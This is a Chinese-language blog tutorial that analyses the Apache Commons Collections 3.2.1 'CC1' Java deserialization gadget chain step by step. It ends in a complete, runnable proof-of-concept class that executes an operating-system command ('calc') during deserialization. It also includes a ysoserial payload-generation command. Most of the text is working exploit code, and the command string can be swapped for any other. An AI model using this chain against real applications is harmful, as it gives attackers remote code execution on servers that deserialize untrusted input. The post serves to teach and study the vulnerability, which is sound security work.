Commons-Collections1链
Apache Commons Collections介绍
Apache Commons是Apache软件基金会的项目,曾经隶属于
Jakarta
项目。Commons
的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper
(是一些已发布的项目)、Sandbox
(是一些正在开发的项目)和Dormant
(是一些刚启动或者已经停止维护的项目)。
Commons Collections包为Java标准的Collections API
提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
参考链接:https://blinkfox.github.io/2018/09/13/hou-duan/java/commons/commons-collections-bao-he-jian-jie/
测试环境:
jdk1.7.0_80
commons-collections-3.2.1
漏洞链分析
ysoserial
生成POC
链:ysoserial
源码地址:https://github.com/angelwhu/ysoserial
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 "calc" > 1.ser
从利用点开始到最终POC的形成,一步一步分析。
由于链最后到transform
的,那么先从这里开始分析,一步一步往前
首先从InvokerTransformer
类中的transform
方法开始:
这是cc链RCE的核心
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
可以看到上面的这个方法就是通过Java反射,调用input
类中的任意方法。并且方法名和参数,在构造函数中传入,是可控的。
//InvokerTransformer的构造方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
先看命令执行的函数:
Runtime.getRuntime().exec("calc"); //弹出计算器
//第一步:通过反射调用exec
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method exec = c.getMethod("exec", String.class);
exec.invoke(r,"calc");
//第二步:怎么通过InvokerTransformer类中的transform方法调用exec
//可以看到这个方法就相当于将前面的三条语句写道了函数transform里面
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")}).transform(r);
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
// Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method exec = c.getMethod("exec", String.class);
// exec.invoke(r,"calc");
//InvokerTransformer构造方法需要三个参数:String methodName, Class[] paramTypes, Object[] args
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")}).transform(r);
}
通过IDEA看谁调用了transform
函数:快捷键Alt+F7
总共21个使用,接下来就是寻找利用的过程了,这是非常艰辛的。由于我们知道链是什么,所以就直接以map
中的checkSetValue
为例往下找
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
看这个类TransformedMap
的构造函数,保护的,只能被自己调用。然后静态方法decorate
调用了构造函数
//这个类就相当与对java自带的map添加了新的功能,所以传入了keyTransformer和valueTransformer
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
现在到这里我们看看代码是如何利用的
// Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method exec = c.getMethod("exec", String.class);
// exec.invoke(r,"calc");
//InvokerTransformer构造方法需要三个参数:String methodName, Class[] paramTypes, Object[] args
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});
//invokerTransformer.transform(r);
HashMap<Object, Object> map = new HashMap<>();
//这里用到了valueTransformer = invokerTransformer,这样当调用checkSetValue时,就会调用InvokerTransformer.transform,弹出calc
TransformedMap.decorate(map,null,invokerTransformer);
看谁调用了checkSetValue
:可以看见只有TransformedMap
父类AbstractInputCheckedMapDecorator
调用了,是一个抽象类。然后内部的MapEntry
类中调用了checkSetValue
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
再看谁调用了setValue
,会发现这里有很多。实际上如果想一下Entry
是干什么的话,就能明白这个代码是干什么的。
我们看一下在Java
中,Map
里的Entry
是什么:
Map是java中的接口,Map.Entry是Map的一个内部接口。
Map提供了一些常用方法,如keySet()、entrySet()等方法。
keySet()方法返回值是Map中key值的集合;entrySet()的返回值也是返回一个Set集合,此集合的类型为Map.Entry
Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry<K,V>。它表示Map中的一个实体(一个key-value对)。接口中有getKey、getValue、setValue等方法。
由于Map中存放的元素均为键值对,故每一个键值对必然存在一个映射关系。 Map中采用Entry内部类来表示一个映射项,映射项包含Key和Value (我们总说键值对键值对, 每一个键值对也就是一个Entry) Map.Entry里面包含getKey()和getValue()方法
//如何遍历一个Map for (Map.Entry
entry : map.entrySet()) { System.out.println("key= " + entry.getKey() + " and value= " + entry.getValue()); } //可以看到这里的entry就代表一个键值对,通过getKey()和getValue()方法得到键值
现在就可以理解,这里的setValue
,实际上相当于之前的setValue
的重写。因为TransformedMap
最终是继承于Map
的
所以我们也可以遍历TransformedMap
中的Entry
:这里可以下断点调试,成功弹出calc
,可以看到这里需要对Map
非常熟悉才能发现这点
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
// Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method exec = c.getMethod("exec", String.class);
// exec.invoke(r,"calc");
//InvokerTransformer构造方法需要三个参数:String methodName, Class[] paramTypes, Object[] args
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});
//invokerTransformer.transform(r);
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
//这里用到了valueTransformer = invokerTransformer,这样当调用checkSetValue时,就会调用InvokerTransformer.transform,弹出calc
Map<Object, Object> traTransformedMap = TransformedMap.decorate(map,null,invokerTransformer);
//通过Entry遍历Map,执行setValue,弹出calc
for(Map.Entry<Object, Object> entry:traTransformedMap.entrySet()){
entry.setValue(r);
}
}
因此现在我们就需要找到一个Entry
,并且调用了setValue
方法,并且传入的值需要可控。看看谁调用了setValue
。
最后在AnnotationInvocationHandler
类中的readObject
方法中调用了setValue
这里是通过var5
调用的setValue
,而var5
是将this.memberValues
转化为迭代器得到的,跟上面的Entry
类似。并且在构造函数中这个值可控。
可以注意到,这个类并不是public
,无法new
出来。因此只能通过反射去实例化这个类
//需要传入一个注解和Map
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
竟然这里已经到readObject
了,那么我们就可以通过反序列化去触发calc
了
public class CC1Test{
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method exec = c.getMethod("exec", String.class);
// exec.invoke(r,"calc");
//InvokerTransformer构造方法需要三个参数:String methodName, Class[] paramTypes, Object[] args
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});
//invokerTransformer.transform(r);
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
//这里用到了valueTransformer = invokerTransformer,这样当调用checkSetValue时,就会调用InvokerTransformer.transform,弹出calc
Map<Object, Object> traTransformedMap = TransformedMap.decorate(map,null,invokerTransformer);
// for(Map.Entry<Object, Object> entry:traTransformedMap.entrySet()){
// entry.setValue(r);
// }
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);;
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, traTransformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
ois.readObject();
}
}
现在这条链并不能使用的。
链中的两个问题
第一个问题:
在这个链中使用到了Runtime r = Runtime.getRuntime();
,但是这个类因为没有继承Serializable
接口,所以是不能被序列化的。
解决方法:
虽然Runtime
不能被序列化,但是Class
类是可以被序列化的,这样就可以通过反射来解决这个问题
//这里就是通过反射来调用exec方法
//Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method RuntimeMethod = c.getMethod("getRuntime", null);
Runtime r = (Runtime) RuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc");
现在可以通过反射调用exec
方法了,然后我们再将其转化为通过InvokerTransformer
类中的transform
方法调用。
这一步应该是最绕的,需要多理解几遍。
//第一步调用getMethod方法,第一个参数为字符串,第二个参数为Class数组
//Method RuntimeMethod = c.getMethod("getRuntime", null);
Method RuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//第二步调用invoke放,第一个参数为Object,第二个参数为Objec数组
//Runtime r = (Runtime) RuntimeMethod.invoke(null, null);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(RuntimeMethod);
//第三步调用exec方法,就跟最开始的时候写调用transform方法一样了,第一个参数为字符串
//Method execMethod = c.getMethod("exec", String.class);
//execMethod.invoke(r, "calc");
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")}).transform(r);
这一步应该是最绕的,如果直接看这个三条语句可能会懵逼,看很久都不知道为什么这么写。但是先写反射调用exec
方法,再将其通过InvokerTransformer
类中的transform
方法调用,就容易理解些了。
现在传入的值就可以被序列化了
注意看这里就是transform
的循环调用.
这里就用到了前面图中所标注的ChainedTransformer
。
这个类中也重写了transformer
:
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
看一下构造函数:iTransformers
可控
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
这样我们就构造一个数组,里面的值为三个不同的InvokerTransformer
,这样就可以循环调用transformer
。下面的同样弹出calc
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
第二个问题:
因此有个问题是要求在setValue
的时候,传入的值必须可控,但是从下面的代码的可以看出这里并不是可控的
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
解决方法:
现在我们的链大致长这样
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> traTransformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);;
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, traTransformedMap);
serialize(o);
unserialize("ser.bin");
在readObject
下断点分析一下
首先这个this.type
就是我们传入的第一个参数Override.class
,得到其对象,再获取成员变量。但是注解Override
没有成员变量。
对我们传入的Map:memberValues
迭代
通过
(Entry)var4.next();
得到我们put
进去的第一个键值对,也就是map.put("key", "value");
然后通过(Class)var3.get(var6);
去查找var3
中的成员变量var6
,也就是key
。可以看到下图中的var7
为null
,这是因为Override
没有成员变量为value
的。这就不会走到setValue
方法。
现在就先一个注解有成员变量,并且将key
改为成员变量的名字就解决了
map.put("value", "value");
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, traTransformedMap);
现在已经走到setValue
了,但是参数还是不可控的。
在ConstantTransformer
类中也重写了transform
方法,下面是它的构造函数和transform
方法。
可以看到,无论transform
传入什么,都返回iConstant
,并且可控。
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
使用这个transform
就实现了无论setValue
传入什么,我们只要控制iConstant
就好了
因此在transformers
数组中添加ConstantTransformer
类即可
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};
最后就将整个链成功连接起来了。看一下最终的POC
最终POC:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1Test{
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> traTransformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);;
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, traTransformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
ois.readObject();
}
}
最后调试理一下流程:
先走到setValue
,参数为AnnotationTypeMismatchExceptionProxy
实例
再到AbstractInputCheckedMapDecorator
类中调用checkSetValue
方法
进入到checkSetValue
中调用transform
方法,可以看到valueTransformer
的类为ChainedTransformer
,对应POC
的这几条语句
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> traTransformedMap = TransformedMap.decorate(map,null,chainedTransformer);
最后进入到ChainedTransformer
中调用transform
循环调用transformers
的中的transform
实现RCE。可以看到虽然输入为其它的类,但是返回的还是Runtime.class
自此cc1
链分析完毕
总结
由于刚学Java
反序列化,在CC链上停留了很久,总是一知半解的状态。究其原因还是对Java
不够了解,导致很多东西不知道,遇到的时候就得花很多时间去查找资料。另外确实我绝对Java
反序列化相比较PHP
反序列化而言,分析的复杂程度还是要大需要的。所以有时候分析分析就没有心思看下去了。另外我是对着B站上一位师傅的视频,写下的这一篇CC链。强烈推荐刚开始学习Java
反序列化的师傅们去看,讲的很好,也很清楚明白。链接放在参考链接中了。
参考链接
https://www.bilibili.com/video/BV1no4y1U7E1?spm_id_from=333.999.0.0
Comments | NOTHING